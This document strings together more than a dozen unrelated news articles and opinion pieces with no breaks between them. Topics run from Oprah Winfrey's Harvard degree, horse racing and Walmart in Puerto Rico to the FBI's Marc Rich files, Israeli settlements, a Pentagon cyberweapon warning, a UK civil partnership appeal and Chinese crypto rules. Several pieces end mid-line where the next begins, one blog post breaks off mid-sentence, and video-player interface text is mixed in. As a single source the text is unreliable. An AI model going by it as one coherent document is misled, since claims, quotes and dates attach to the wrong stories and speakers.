It’s possible to admire Oprah Winfrey and still wish that Harvard hadn’t awarded her an honorary doctor of law degree and the coveted commencement speaker spot at yesterday’s graduation. There’s no question Oprah’s achievements place her in the pantheon of American success stories. Talent, charisma, and a prodigious work ethic have rarely catapulted anyone as far as they have this former abused teenage mother from rural Mississippi who became one of the world’s most successful entertainment moguls and the first African American female billionaire.
(MORE: Oprah Expert on How Winfrey’s Brand Changed America)
Honorary degrees are often bestowed to non-academic leaders in the arts, business, and politics. Harvard’s roster in recent years has included Kofi Annan, Bill Gates, Meryl Streep, and David Souter. But Oprah’s particular brand of celebrity is not a good fit for the values of a university whose motto, Veritas, means truth. Oprah’s passionate advocacy extends, unfortunately, to a hearty embrace of phony science. Critics have taken Oprah to task for years for her energetic shilling on behalf of peddlers of quack medicine. Most notoriously, Oprah’s validation of Jenny McCarthy’s discredited claim that vaccines cause autism has no doubt contributed to much harm through the foolish avoidance of vaccines.
(MORE: Pomp and Controversy: 7 Contentious Commencement Speakers)
Famous people are entitled to a few foibles, like the rest of us, and the choice of commencement speakers often reflects a balance of institutional priorities, allegiances, and aspirations. Judging from our conversations with many students, Oprah was a widely popular choice.
But this vote of confidence in Oprah sends a troubling message at precisely the time when American universities need to do more, not less, to advance the cause of reason. As former Dean of Harvard College, Harry Lewis, pointedly noted in a blog post about his objections, “It seems very odd for Harvard to honor such a high profile popularizer of the irrational. I can’t square this in my mind, at a time when political and religious nonsense so imperil the rule of reason in this allegedly enlightened democracy and around the world.”
Many Americans are unaware that federal funding for biomedical and social science research is under siege from Congressional cuts. As a result, observers in the private sector fear a major disruption in American innovation. If we do not take seriously the ability of science to help us understand the world and drive economic growth, we risk imperiling one of the key pillars of American prosperity.
Examples of the disrespect for, and not just misunderstanding of, science are everywhere. It’s not just those who ignore climate science (alas, at our peril). Recall how Sarah Palin famously mocked research on fruit flies, ignoring the reality that most of modern genetics is built on the study of this organism, or the factually incorrect belief that women can ‘shut the whole thing down‘ when they are raped to avoid conception. It even extends to United States senators who misunderstand basic probability (thinking that a tornado could not possibly strike the same town in Oklahoma twice).
As America’s oldest and most visible university, Harvard has a special opportunity to convey its respect for science not only through its research and teaching programs but also in its public affirmation of evidence-based inquiry.
(MORE: Wither Goes Free Speech at Harvard?)
Unfortunately, many American universities seem awfully busy protecting their brand name and not nearly busy enough protecting the pursuit of knowledge. A recent article in the Harvard Crimson noted the shocking growth of Harvard’s public relations arm in the last five years and it questioned whether a focus on risk management and avoiding controversy was really the best outward-looking face of this great institution.
As American research universities begin to resemble profit centers and entertainment complexes, it’s easy to lose sight of their primary mission: to produce and disseminate knowledge from which all of society can benefit. This mission depends on traditions of rational discourse and vigorous defense of the scientific method. Oprah Winfrey’s honorary doctorate was a step in the wrong direction.New York • Preakness winner Cloud Computing won't run in the Belmont Stakes, leaving the final leg of the Triple Crown without the winners of the first two races.
Kentucky Derby winner Always Dreaming also won't run in the 1½-mile Belmont on June 10 in New York.
Trainer Chad Brown confirmed Sunday that Cloud Computing would skip the Belmont, which had been expected.
Brown will still have a starter in the $1.5 million race: Twisted Tom, who won the Federico Tesio on April 22. Because Twisted Tom wasn't already nominated to the Triple Crown series, it will cost $75,000 to get him in the race. He will try to become the third gelding in history to win.
Other confirmed Belmont runners are Classic Empire, Japan-based Epicharis, J Boys Echo, Lookin At Lee, Senior Investment, Tapwrit and True Timber. Irap, Meantime and Multiplier are considered likely.
Also possible are Conquest Mo Money, Gormley, Hollywood Handsome, Irish War Cry and Patch.
The Belmont field is limited to 16 horses.
Associated PressThe fight is not just playing out in a courtroom. It has engaged residents as well, who have a classic love-hate relationship with the retailer.
Some love it because it employs them, sells some of their locally made products and gives them access to goods they might not otherwise find on the island. Others hate it because, they say, it crowds out local competition and disrupts Puerto Rican neighborhoods and daily routines. Walmart has 55 stores in Puerto Rico, including some operated under different names, and it employs almost 15,000 people.
And now that Puerto Rico’s government is nearly out of cash and still has a $72 billion debt to be paid, some are incensed that Walmart is balking at the tax, contending that as one of the largest retailers in the world, it can well afford to pay. They hooted at the notion that the tax was a “death sentence.”
“They have a lot of money,” said Antonio Hernández Brignoni, 83, wheeling a shopping cart through a bustling Walmart parking lot in the small city of Hatillo on a recent day. “Come here at midnight and you’ll see how much money they make.”
Midnight, he explained, was when Walmart’s managers would be counting the cash in the till.
But the company counters that the tax rate is “three times the average effective tax rate that Walmart’s affiliated companies pay worldwide,” making it one of the highest taxes in the world.
Much of the courtroom discussion so far has centered on Puerto Rico’s finances, with Judge Fusté expressing frustration over the government’s failure to produce audited financial statements for 2014 and 2015. Members of Congress have made much the same complaint in hearings on how to help Puerto Rico unwind its debts.
On Wednesday, Melba Acosta Febo, president of Puerto Rico’s Government Development Bank, offered testimony on the island’s financial problems and warned that they were worsening.Md.- He's a man with many names, and the books he has written have raised the concerns of the Dorchester County Board of Education and the Dorchester County Sheriff's Office.
An update to this story has been posted here.
Early last week the school board was alerted that one of its eighth grade language arts teachers at Mace's Lane Middle School had several aliases. Police said that under those names, he wrote two fictional books about the largest school shooting in the country's history set in the future. Now, Patrick McLaw is placed on leave.Dr. K.S. Voltaer is better known by some in Dorchester County as Patrick McLaw, or even Patrick Beale. Not only was he a teacher at Mace's Lane Middle School in Cambridge, but according to Dorchester Sheriff James Phillips, McLaw is also the author of two books: "The Insurrectionist" and its sequel, "Lillith's Heir."Those books are what caught the attention of police and school board officials in Dorchester County. "The Insurrectionist" is about two school shootings set in the future, the largest in the country's history.Phillips said McLaw was taken in for an emergency medical evaluation. The sheriff would not disclose where McLaw is now, but he did say that he is not on the Eastern Shore. The same day that McLaw was taken in for an evaluation, police swept Mace's Lane Middle School for bombs and guns, coming up empty.Dorchester County Superintendent of Schools Dr. Henry Wagner said the Dorchester County Board of Education has taken its own action."We have advised our community that the gentleman has been placed on administrative leave, and has been prohibited from entering any Dorchester County public school property," Wagner said.The 23-year-old language arts teacher had already taught at the school for a year.With school starting Tuesday, some parents tell WBOC they are concerned about safety, but both Wagner and Phillips said there is nothing to worry about."There will be a Cambridge Police Department presence at Mace's Lane Middle School for as long as we deem it necessary," Wagner said.
"I think that the various police agencies that we have, working in conjunction with the board have a handle on the situation and I think we're going to have a safe and happy opening day of school tomorrow," Phillips said in an interview Monday with WBOC.
Phillips said law enforcement across Delmarva have been sent McLaw's photo and information. The sheriff said McLaw is banned from county properties in Dorchester and Wicomico counties, as well as the Delmar School District.McLaw has not been arrested or charged with any crime at this time, according to the Wicomico County State's Attorney's Office.Posted on by RBuccicone
I put up a post a while ago comparing U.S. movie posters for American movies to the versions that were released for the same pictures in Italy. As I continue to roam the web, and particularly the newly discovered MoviePostersDB.com, I continue to find that foreign, particularly Italian, posters are far more artistic/intriguing/seductive than the American ones. This time I have focused specifically on Hitchcock movies, films that in and of themselves embody artistry, intrigue and seduction. These movies, because they were so well publicized, have multiple posters per country to their name, but here I have grabbed what appear to be the most common versions.
ITALY VS. AMERICA
I think there is no arguing that the American version of what would advertise Hitchcock’s first American film looks pretty bland compared the foreign one. I also concede, however, that the former looks a bit like a romance novel cover. And who is the gorgeous woman in the backdrop? Certainly not Judith Anderson’s Mrs. Danvers. It could be the artist’s manifestation of the deceased Rebecca, but she is never shown in the picture, which is sort of the point. Nevertheless, I would rather see the Rebecca advertised by the image on the left than the one on the right.
Notorious is possibly my favorite Hitchcock movie and one that is certainly darker than the American poster would suggest. Although the key depicted is of significance, the romance between Cary Grant and Ingrid Bergman is not as light-hearted as the advertisement would suggest. The Italian poster is a bit vague in its meaning and with the title perhaps suggests merely a story of an illicit affair, but it is by far the edgier version and one that better suits the tone of the actual movie.
Although I have always enjoyed the Dial M for Murder American poster, the Italian version is a bit more |
FBI has unexpectedly released documents concerning ex-president Bill Clinton's pardon of the husband of a wealthy Democratic donor, in a surprise move just days before the election in which his wife is seeking to become America's first female president.
The release of the heavily redacted 129-page report over the pardon of trader Marc Rich -- an investigation that closed in 2005 without charges -- triggered questions from Democrats already angered by the FBI's probe into hundreds of thousands of newly uncovered emails possibly linked to Hillary Clinton.
While the Rich documents were published online Monday, they received little notice until they were posted on Tuesday on a Twitter account for the Federal Bureau of Investigation's division managing Freedom of Information Act (FOIA) requests that had had no posts since a year ago, except for a small handful released simultaneously on Sunday.
"Absent a FOIA litigation deadline, this is odd," said Hillary Clinton spokesman Brian Fallon.
"Will FBI be posting docs on Trump's housing discrimination in '70s?" he added, referring to Clinton's Republican rival Donald Trump, a billionaire real estate magnate.
The FBI said the documents were posted shortly after they were processed, as with FOIA materials requested three or more times.
"Per the standard procedure for FOIA, these materials became available for release and were posted automatically and electronically to the FBI's public reading room in accordance with the law and established procedures," the statement said.
The FBI indicated that this was only a "preliminary" release that could therefore be followed by more.
Rich was indicted on federal charges of tax evasion in the United States. He was a fugitive from the Department of Justice -- at a time one of the FBI's most wanted -- living in exile in Switzerland at the time of his indictment. He died there in 2013.
In a controversial move, Bill Clinton pardoned him on his last day in office on January 20, 2001. The FBI opened its investigation into the pardon later that year.
Rich's ex-wife Denise Eisenberg Rich, whose name was redacted from the FBI files, "has been a major political donor to the Democratic Party, and these donations may have been intended to influence the fugitive's pardon," reads a bureau note requesting that a preliminary investigation be opened.
Some of the donations went to the William J. Clinton Presidential Foundation, the predecessor to the Clinton Foundation, according to the document.
"It appears that the required pardon standards and procedures were not followed," reads the FBI document dated February 15, 2001.
The Rich case fell under the watch of current FBI Director James Comey, then a younger prosecutor.
The FBI document dump comes as Comey is under fire, from both Democrats and some Republicans, for effectively reopening in recent days the bureau's investigation into Hillary Clinton's use of a private email server.John Kerry offered yet another tough-love talk to Israel at the pro-Israel Saban Forum yesterday. The United States gives Israel more than half of the aid that we give “to the entire world,” and Israel simply ignores us when we warn it about new settlements.
Kerry: Every president, Republican and Democrat, has been opposed to settlements – we issue a warning today when we see a new settlement announced. Nothing happens. It’s ignored, a new settlement goes up. New units, new sales. So the issue — Journalist Jeffrey Goldberg: You’re describing a situation in which you have zero leverage. Kerry: I think we do – I think we do have leverage — Goldberg: But they never listen to you. Kerry: No, they don’t, and they haven’t listened on settlements, that’s correct.
Here’s how much money we give Israel to ignore us.
I’ve watched while we, the Obama Administration, have put $23.5 billion on the line for foreign military financing. More than 50 percent of the total that we give to the entire world has gone to Israel. We have just signed an agreement for $38 billion over 10 years, $3.8 billion a year, up from 3.1.
Goldberg, the new editor-in-chief of the Atlantic, played the innocent. He knows damn well why the U.S. government has no leverage over Israel; because of Israel-loving journalists like himself and Israel-loving donors like Haim Saban. He ventured that the two-state solution (which he did as much as anyone to kill) is dead because there are now so many settlers in the West Bank there can never be a Palestinian state:
MR GOLDBERG: Have we not passed the tipping point already? SECRETARY KERRY: No, no. MR GOLDBERG: Why have we not passed the tipping point? It seems like it. SECRETARY KERRY: No, we haven’t, but we’re getting very – we’re getting – I’ll tell you why we haven’t. Because this is a function of leadership. It’s a function of belief. It’s a function of what choices are being put to the people of Israel. So let me — MR GOLDBERG: You know how hard it is to move 10,000, 8,000 settlers from Gaza. You’re talking about 90,000 —
(This is further evidence for my prediction that Goldberg in his new incarnation as liberal American editor in the footsteps of the abolitionists will become an anti-Zionist.)
Kerry also protested that he has spoken to Benjamin Netanyahu 375 times as Secretary of State, to the point that his wife says he talks to Netanyahu more than to her. He hinted that the Obama administration may get the last word with Netanyahu at the UN Security Council:
Kerry: Because of this building frustration, you need to know they are any number of countries talking about bringing resolutions to the United Nations. Goldberg: Will you try to stop the French if they do it? Kerry: If it’s a biased and unfair and a resolution calculated to delegitimize Israel, we’ll oppose it. Obviously, we will. We always have. But it’s getting more complicated now because there is a building sense of what I’ve been saying to you today, which some people can shake their heads, say, well, it’s unfair.
Another innocent observes:
There's a "but" in US position towards a settlements UNSC resolution. https://t.co/P1e5U7xdO3 — Martin Indyk (@Martin_Indyk) December 4, 2016
Whatever the UN or the US or Martin Indyk wants to do for the Palestinians, I don’t know why the Palestinians would want it. Here’s how Kerry outlined his vision of a Palestinian state:
this small little city state, which is what effectively the West Bank would be, demilitarized as it would be
That’s reminiscent of the famous line on the vice presidency: it’s not worth a bucket of warm piss.
Kerry also warned that Israel is “heading to a place of danger,” because of its own decisions.
But I do believe that Israel, because of decisions that are being made on a daily basis quietly and without a lot of people seeing them or fully processing the consequences, is heading to a place of danger.
And just as he had researched the 375-conversations-with-Netanyahu number for the occasion, Kerry itemized the number of settlers, and reminded the audience that Israel built the wall on stolen land:
But back then in 1993 [when Oslo principles were signed], there were 110,000 settlers in the West Bank. Today there are 385,500 or so. There is an increase – there is about 90,000 settlers living outside of the barrier. And the barrier, I want to remind everybody here, was established by Israel. That’s a line that was drawn by Israel – not necessarily a border, but it’s a line. It’s a reflection of a security line. Outside of that line drawn by Israel there are now 90,000 Israelis living in these patchworks of settlements. There are 129 settlements. There are about 100 outposts, and outposts, as you all know, are illegal. … Now, these outposts begin as one building, two buildings, then they become a scattering of 10 or 15, then they become a, quote, “settlement.” And what’s really concerning about what is about to happen is that many of these outposts, most of them, are built on what is considered to be Palestinian private land. Now, since Obama became president, the population outside of the barrier in the West Bank has increased by 20,00 people.
Message, you’re on your own. You made your bed. But we might flip you the bird back before we go.A new B.C. ski and sightseeing resort planned near Jasper, Alta. could be up and running by December 2017, now that the province has approved the master plan for the Valemount Glacier Destination Resort project.
The proposed $175 million resort would be built in the Cariboo Mountains just west of the village of Valemount and would feature year-round ski lifts and gondolas for sightseeing. Plans call for the ski area to include the biggest vertical drop in North America and access to glaciers over 3,000 metres in elevation.
The proposed site for the Valemount Glacier Destination resort is in the Cariboo Mountains just to the west of the Village of Valemount, B.C. (Valemount Glacier Destinations Ltd. )
Tom Oberti, the vice president of the Pheidias group, the lead planning consultants on the project, called the province's rubber stamp of the master plan a very big milestone.
"It's very difficult in British Columbia to gain these sorts of approvals. They require a lot of work on behalf of consultants and also the government."
Project has widespread support
Unlike the controversy that has surrounded another proposed ski resort in B.C., the Jumbo Glacier project, the Valemount Glacier Destination Resort has support from local communities.
The developer says the proposed Valemount Glacier Destination resort will include access to glaciers over 3,000 metres in elevation for sightseers and skiers and the largest vertical drop in North America. (Valemount Glacier Destinations Ltd.)
"The master plan approval is exciting news," said the mayor of Valemount, Jeanette Townsend.
"The [project] will bring economic well-being to Valemount, and will also have a positive impact on the province of B.C. by attracting tourists from around the world."
The Simpcw First Nation is also very supportive of the project and has been since its inception.
"We've looked at the environmental impact and believe that it's manageable," said Chief Nathan Matthew.
"In this particular area, the sensitivity with caribou and grizzly bears is minimal so we feel comfortable with that."
Matthew added there are also no spiritual sites within the area that would be a concern.
Proposed ski lifts and runs for the Valemount Glacier Destination Resort. (Valemount Glacier Destinations Ltd.)
First lifts could be ready for the 2017-2018 season
Now that the province has approved the master plan, next comes a master development agreement between the developer and the B.C. government.
Amendments are also in the works to the official community plan for the region. If all goes according to plan, construction could begin in spring 2017 with the first lifts ready by December of 2017.
The entire project is designed for a 20-year build-out.Norwegian study claiming link between cannabis use and increased violence is heavily criticised by Danish psychiatrist.
A Danish psychiatrist has come out against a recent Norwegian study that claims to have found an association between cannabis use and violence.
Dr. Henrik Rindom of Hvidovre Hospital, Copenhagen, says the study is more political than based on actual sound science. Rindom has been counselling substance abusers for decades and studies the effect of intoxicants and narcotics.
The authors behind the Norwegian study says that a two-fold rise in cannabis use in Norway will lead to four per cent rise in violence -- but according to Rindom it isn’t so.
"I don't give much for this study," he says, adding that it seems like the studys’ authors are trying to get a political agenda across. “It [saying cannabis use increase violence] is like arguing that you become schizophrenic just by using cannabis.”
It’s a widely used statement without a shred of scientific evidence, says Rindom.
Read about the Norwegian study here on ScienceNordic: Association between cannabis use and violence
Violence caused by social traumas
However, Rindom does concede that cannabis users typically are more violent than non-users. But, and it’s an important but, he adds, the cannabis is not the cause of the violence -- rather it’s the violent behaviour that might lead people to use cannabis.
"Many young people use cannabis to subdue psychosocial traumas," says Rindom. "Cannabis doesn’t trigger their violent behaviour -- instead it’s their social problems.”
He says some people might use cannabis as an attempt at self-medication. And once they’ve become accustomed to the drug, they become even more violent if they don't get it, says Rindom.
To look at statistics only, like the Norwegian researchers did, makes no sense, says Rindom and emphasizes that cannabis is not the root of the problem.
"That’s not my experience of reality," says Rindom who counsels cannabis users -- and abusers. Take a look at young people in prisons, he says. Most of them consume cannabis on a regular basis and elicit violent behaviour at the same time. However, the reason for this is typically a difficult social history, says Rindom.
“Nobody deals with their fundamental problem: severe psychosocial traumas,” he says. “They should have psychotherapy instead of being left to medicate themselves."
Impulsiveness can lead to violence
The new study was carried out by researchers from the Norwegian Institute for Alcohol and Drug Research (SIRIUS). The researchers used statistical data on Norwegian youth from the years 1994-1999 to assess the association between cannabis use and violence.
Rindom says the researchers could use a check-up on reality.
"I lack an explanation as to why the link is there,” he says, asking if the violence could be a consequence of criminal activities that some abusers resort to as a mean to get their drug. “That could be an explanation."
"As my old tutor in medical statistics used to say:'statistics are like old street lamps – they don't give much light, but they're good for supporting you during a storm'."
Study authors: we've taken uncertainties into account
The researchers from SIRIUS says they don’t understand Rindom’s criticism and Ingeborg Rossow, who co-authored the study, blankly denies that she or any of her colleagues are trying to be political.
Rossow says their scientific article makes certain reservations to the interpretation of their results.
For instance, that there might be certain factors they haven’t taken into account.
"We actually explain in the article why it’s reasonable to assume that a number of individual factors are connected with both the use of cannabis and aggressive behaviour,” she says.
That’s important to take that into consideration when interpreting the covariance between cannabis use and violence, she says. To get around that, the researchers used a type of statistical modelling that removes the importance of individual factors when they don’t vary over time, says Rossow.
This method is called fixed effects modelling and it actually makes it much harder to find a link between two thins -- such cannabis use and violence. “Nevertheless, we did find a small but statistically significant link," says Rossow.
The problem of correlation and causation
Rindom maintains that it’s problematic if researchers look only at the statistics. They’re too easily misunderstood, he says.
A classic example is the apparent connection between births in Denmark and storks. In the 1960’s Danish women started giving birth to fewer children and this coincided with a fall in the number of breeding storks in Denmark. One might jump to conclusions and claim that babies indeed are delivered by storks.
Of course, that wasn’t the case -- in reality both declines were caused by to separate incidents: the birth of the contraceptive pill and the disappearance of stork habitats.
"That's why it is so important to ask about the cause," says Rindom. "We can't do without statistics but we must be critical as statistics can be misunderstood and used politically."
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Read the full story in Danish on Videnskab.dkPoints for imagination here: at the RSA information-security conference in San Francisco, Deputy Defense Secretary William Lynn worried aloud about a terrorist group getting ahold of a malware tool like Stuxnet.
Sure, al-Qaeda hasn't launched any cyberattacks so far. Nor have its operatives manifested any ability to design anything as sophisticated as the Stuxnet worm. "But it is possible for a terrorist group to develop cyberattack tools on their own or to buy them on the black market," Lynn, the Pentagon's point man on cybersecurity, warned on Tuesday. "As you know better than I, a couple dozen talented programmers wearing flip-flops and drinking Red Bull can do a lot of damage."
Maybe so. But in last week's congressional mega-hearing from the nation's intelligence leaders on threats facing the country, no spymaster assessed that al-Qaeda was looking to launch a giant cyberattack. The most likely forecasted method of terrorist assault against the U.S. are "small-scale attacks" like homemade bombs, Director of National Intelligence James Clapper told a House panel. al-Qaeda appears more focused on making inroads to unsuspecting Muslim youth through social media.
Lynn left little doubt he had a worm like Stuxnet in mind, even though he didn't mention it by name. He warned about the "accidental release of toxic malware" in which "something as trivial as a thumb drive stuck in the wrong computer" could have "a calamitous effect on the global economy." What's that sound like to you?
Perhaps Lynn has good reason to worry about the worm, even if he didn't mention it by name. Before Stuxnet, cyberattacks against government facilities tasted like small beer – defacing someone's website, or distributed denial of service overloads to bring the site down. But that was before a piece of malware managed to disrupt the industrial control systems spinning the centrifuges of Iranian nuclear facilities.
While no one quite knows who designed Stuxnet, there's circumstantial evidence that it was a joint U.S.-Israeli jam. If so, then Lynn's warning about a terrorist group acquiring a cyberweapon of comparable potency would be painfully ironic.
Lynn reiterated the government's position that securing the Internet is properly a civilian concern – with the military waiting in the wings to assist. He said that he'd expand a pilot program, called the Information Technology Exchange Program, to bring together military and private-industry experts in information technology and cybersecurity. Declan McCullagh of Privacy Inc. at CNet has some reservations on civil libertarian grounds.
Photo: DoD
See Also:TAFE's institutes structure could be scrapped, as union slams report highlighting inefficiencies
Updated
The New South Wales Skills Minister says he is considering scrapping TAFE's structure of separate institutes in different geographic areas.
John Barilaro yesterday released a report by the Boston Consulting Group, which argued there was too much duplication in TAFE administration because each institute was a separate entity.
There are 10 TAFE institutes in NSW, and the report said three of the regional facilities did not have the scale to be efficient.
Mr Barilaro said the government was considering whether to bring the separate organisations under one umbrella.
"Clearly there are a number of models we could look to, but definitely we can save in that duplication cost," Mr Barilaro said.
"We know that if we can do that, for every million dollars in savings it'll actually open up another 250 opportunities for students in NSW," he said.
"We have made no decision on this [and] this report will be part of a number of reports, information and data we're looking at in framing the TAFE of the future."
He said regional institutes like TAFE Western, New England and Riverina often did not have the numbers to be sustainable, and that the findings would feed into future reforms.
"What we want to see is an adaption to innovation and technology," he said.
"Having video conferencing, web conferencing, where [students] will have access to greater course offerings but not having to leave their communities.
"This actually highlights an opportunity in delivering training in a very different way."
Minister accused of trying to undermine regional TAFEs
The Teachers Federation of NSW has accused the government of trying to undermine regional TAFE institutes by releasing the report.
The report labelled some regional institutes as "sub-scale", and uncompetitive with private providers.
Teachers Federation organiser Kathy Nicholson said TAFE facilities in the bush should not be expected to be competitive.
"There aren't competitors, and there certainly aren't credible competitors, and economies of scale don't allow that," she said.
"If they can't support and invest in TAFE in the bush so that our kids out here in the bush can continue to get a chance to actually get a job, then we should throw them out."
She questioned the timing of the report, which was released the morning after enterprise bargaining negotiations broke down between TAFE and the union.
Ms Nicholson said the proposal would have removed entitlements for teachers.
"If voted yes, it would make it very hard for us to attract the industry specialists and professionals," she said.
Mr Barilaro said the timing was not deliberate and that there were no plans to cut services in country areas.
"My commitment has always been that we will not be withdrawing TAFE from any regional and rural areas," he said.
"If you apply a pure business case and an economic perspective to regional NSW, you'd shut regional NSW down.
"In this case [the Boston Consulting Group] looked at it through that lens."
Topics: education, adult-education, continuing-education, community-education, distance-education, access-to-education, education-industry, university-and-further-education, broken-hill-2880, nsw, tamworth-2340, wagga-wagga-2650, orange-2800, dubbo-2830
First postedNBA Kings Ink Extension With NBC Sports Through '34 Worth At Least $690M
The NBA Kings have "signed a 20-year media rights extension with NBC Sports Group worth" $690-700M, according to Lombardo & Ourand of SPORTSBUSINESS JOURNAL. The new media rights deal "will keep the Kings on Comcast SportsNet California" through the '33-34 NBA season. Sources said that the deal is "worth an average" of $35M a year over the next two decades, an amount that represents a "significant windfall and long-term stability for a midmarket franchise that plays in the country’s 20th biggest designated market area." NBC Sports Group, which operates CSN California, will "pay the team " $25-26M next year, with close to a standard 4% increase "kicking in annually." Like most local NBA media deals, the agreement "includes a'reset,' which would adjust the fee to match market rates." But it is "not clear when that reset kicks in." CSN California will now "sell all pregame, in-game and postgame advertising and sponsorships." The club "handled those sales in the prior deal." The deal also provides CSN California with "more Kings content," as the net will carry more games and produce "more shoulder programming around the team." The RSN has committed to "add 30-minute pregame and postgame shows for each game" and to "hire a reporter solely devoted" to the club. Furthermore, CSN California will "produce a monthly magazine show called 'Kings Central'" (SPORTSBUSINESS JOURNAL, 7/28 issue).Published: 09:52 GMT, 21 February 2017 | Updated: 13:14 GMT, 21 February 2017
A heterosexual couple have lost their Appeal Court battle to have a civil partnership.
Rebecca Steinfeld and Charles Keidan from Hammersmith, west London, argued that the Government's position on civil partnerships was 'incompatible with equality law'.
In November, the academics challenged High Court judge Mrs Justice Andrews's decision to dismiss their judicial review action.
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Copy link to paste in your message +4 Pictured: Rebecca Steinfeld and Charles Keidan, who lost their legal battle to have a civil partnership, outside the Royal Courts of Justice
'We are deeply disappointed' Couple lose civil partnership battle v f Loaded : 0% Progress : 0% w 0:00 A Previous f Play A Skip LIVE d Mute w 00:00 Current Time 0:00 / Duration Time 1:08 t Fullscreen g Need Text Video Quality 576p 540p 360p 270p i k m h n j Foreground --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Opaque Background --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Transparent Transparent Window --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Transparent Transparent Font Size 50% 75% 100% 125% 150% 175% 200% 300% 400% Text Edge Style None Raised Depressed Uniform Dropshadow Font Family Default Monospace Serif Proportional Serif Monospace Sans-Serif Proportional Sans-Serif Casual Script Small Caps Defaults Done Minimize u Expand t Close × Share this j n l h More m Up next 'We are deeply sorry': Brigadier John Donnelly… f Cancel Related videos 'We are deeply sorry': Brigadier John Donnelly on… Angela Merkel: 'We are connected through friends… Sam Allardyce: We are disappointed, we couldn't have done more
But today, the Court of Appeal dealt them another blow and dismissed the challenge.
However, the couple have vowed to fight on and are optimistic about the future.
Ms Steinfeld, 34, said: 'We are pleased that today's ruling has shown that the Government must act very soon to end this unfair situation.
'All three judges agreed that we're being treated differently because of our sexual orientation, and that this impacts our private and family life.
'All three rejected the argument that we could 'just get married'.
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Copy link to paste in your message +4 Pictured: Rebecca Steinfeld and Charles Keidan outside the Royal Courts of Justice in London
'All three emphasised that the Government cannot maintain the status quo for much longer - they are on borrowed time.'
The judges agreed the couple had established a potential violation of Article 14 of the European Convention on Human Rights, which relates to discrimination, taken with Article 8, but Lady Justice Arden dissented on the question of whether the policy of 'wait and evaluate' was justified at present.
Ms Steinfeld claimed Lady Justice Arden accepted their case on almost every other point.
She said: 'We lost on a technicality, that the Government should be allowed a little more time to make a decision.
'So there's everything to fight for, and much in the ruling that gives us reason to be positive and keep going.'
Mr Keidan, 34, said: 'The Court of Appeal has made it clear the status quo cannot continue.
'The Government should now recognise the benefits of opening civil partnerships to mixed-sex couples.
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Copy link to paste in your message +4 Rebecca Steinfeld and Charles Keidan from west London, argued that the Government's position on civil partnerships is 'incompatible with equality law (pictured, with supporters outside the Royal Courts of Justice)
'The measure is fair, popular, good for families and children, and long overdue. They have everything to gain.'
The couple, who have been in a committed relationship since November 2010 and have a one-year-old daughter, launched their legal battle three years ago.
WHAT IS THE CIVIL PARTNERSHIP ACT? The Civil Partnership Act, which was passed in 2004, states that such partnerships will provide legal rights and obligations to couples regarding children, property and pensions would be available to 'two people of the same sex'. It was passed after gay rights campaigners demanded legal recognition for unions between same-sex couples. And in 2013 same-sex marriage for was legalised, in a landmark ruling, giving gay couples the right to marriage or a civil partnership. But the former continues to be denied to heterosexual couples..
They said they objected to the 'patriarchal baggage' of marriage and wanted to secure legal recognition of their relationship through a civil partnership.
But the Civil Partnership Act 2004 stipulates that only same-sex couples are eligible.
During the couple's legal challenge in November, Karon Monaghan QC, told Lady Justice Arden, Lord Justice Beatson and Lord Justice Briggs in the Court of Appeal that the issue was whether the bar on opposite sex couples entering into civil partnerships was incompatible with Article 14, taken with Article 8, which refers to respect for private and family life.
She said: 'They wish very much - and it is of very considerable importance to them - to enter into a legally regulated relationship which does not carry with it patriarchal baggage, which many consider comes with the institution of marriage.'
Also speaking at the time, Dan Squires QC for the Secretary of State for Education, who has responsibility for equalities within Government, said that a decision was taken, after two public consultations and debate in Parliament, not at this stage to extend civil partnerships to opposite-sex couples, abolish them or phase them out.
It was decided to see how extending marriage to same-sex couples impacted on civil partnerships before making a final decision which - if reversed in a few years' time - would be disruptive, unnecessary and extremely expensive.
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Copy link to paste in your message +4 Ms Steinfeld and Mr Keidan said they would continue to fight, despite today's ruling
January: Couple vow to appeal after losing High Court battle v f Loaded : 0% Progress : 0% w 0:00 A Previous f Play A Skip LIVE d Mute w 00:00 Current Time 0:00 / Duration Time 1:12 t Fullscreen g Need Text Video Quality 576p 540p 360p 270p i k m h n j Foreground --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Opaque Background --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Transparent Transparent Window --- White Black Red Green Blue Yellow Magenta Cyan --- Opaque Semi-Transparent Transparent Font Size 50% 75% 100% 125% 150% 175% 200% 300% 400% Text Edge Style None Raised Depressed Uniform Dropshadow Font Family Default Monospace Serif Proportional Serif Monospace Sans-Serif Proportional Sans-Serif Casual Script Small Caps Defaults Done Minimize u Expand t Close × Share this j n l h More m Up next Mourinho on ban appeal: It's stupid to fight a losin… f Cancel Related videos Mourinho on ban appeal: It's stupid to fight a losing battle Widow begins High Court battle to store husband's s… Perth potato farmer gives away his crop after losing court battle
He described the judge's decision as 'unimpeachable'.
The couple's legal battle has been funded by their own savings, donations from philanthropic organisations and crowdfunding which raised £35,000.
Before the ruling today Dr Steinfeld and Mr Keidan were joined by supporters and campaigners, outside the Royal Courts of Justice, who waved placards calling for an end on the ban of opposite-sex civil partnerships.
Ms Steinfeld said: 'When we started our legal battle for the right to form a civil partnership three years ago, we could never have envisaged the incredible levels of support that would follow.
'Over 72,000 people have signed our petition on Change.org calling on the Government to open civil partnerships to all. We have received support from nearly every major political party.
'It really is remarkable but it just speaks to the fact that opening civil partnerships is popular, fair and would be good for families and children.'A senior executive at China's internet finance association has urged Chinese regulators to create a framework of regulations to support the development of digital currencies amid a fierce crackdown on trading on virtual tender such as bitcoin.
Li Lihui, a senior official at the National Internet Finance Association of China and a former president of the Bank of China, said at an event on Friday in Shanghai that global regulators should work together on digital currencies.
Chinese regulators are cracking down on the cryptocurrency sector, in a bid to stamp out potential financial risks as consumers pile into a highly risky and speculative market that has seen unprecedented growth this year.
Major Chinese bitcoin exchange BTCChina said on Thursday it would stop all trading from Sept. 30, setting off a slide in the value of the cryptocurrency that left it over 30 percent away from the record highs it hit earlier in the month.ANALYSIS/OPINION:
President Obama wants this election to be a debate about outsourcing. The president thinks he can build a case for his re-election around the fact that Bain Capital, a successful investment firm that Mitt Romney once owned and managed, held investments in companies that outsourced some of their production. He is trying to convince the American public that those companies — particularly their owners — are predatory or un-American or both. He thinks the public should vote for him because he says he wouldn’t do that, even if he were ever given the chance.
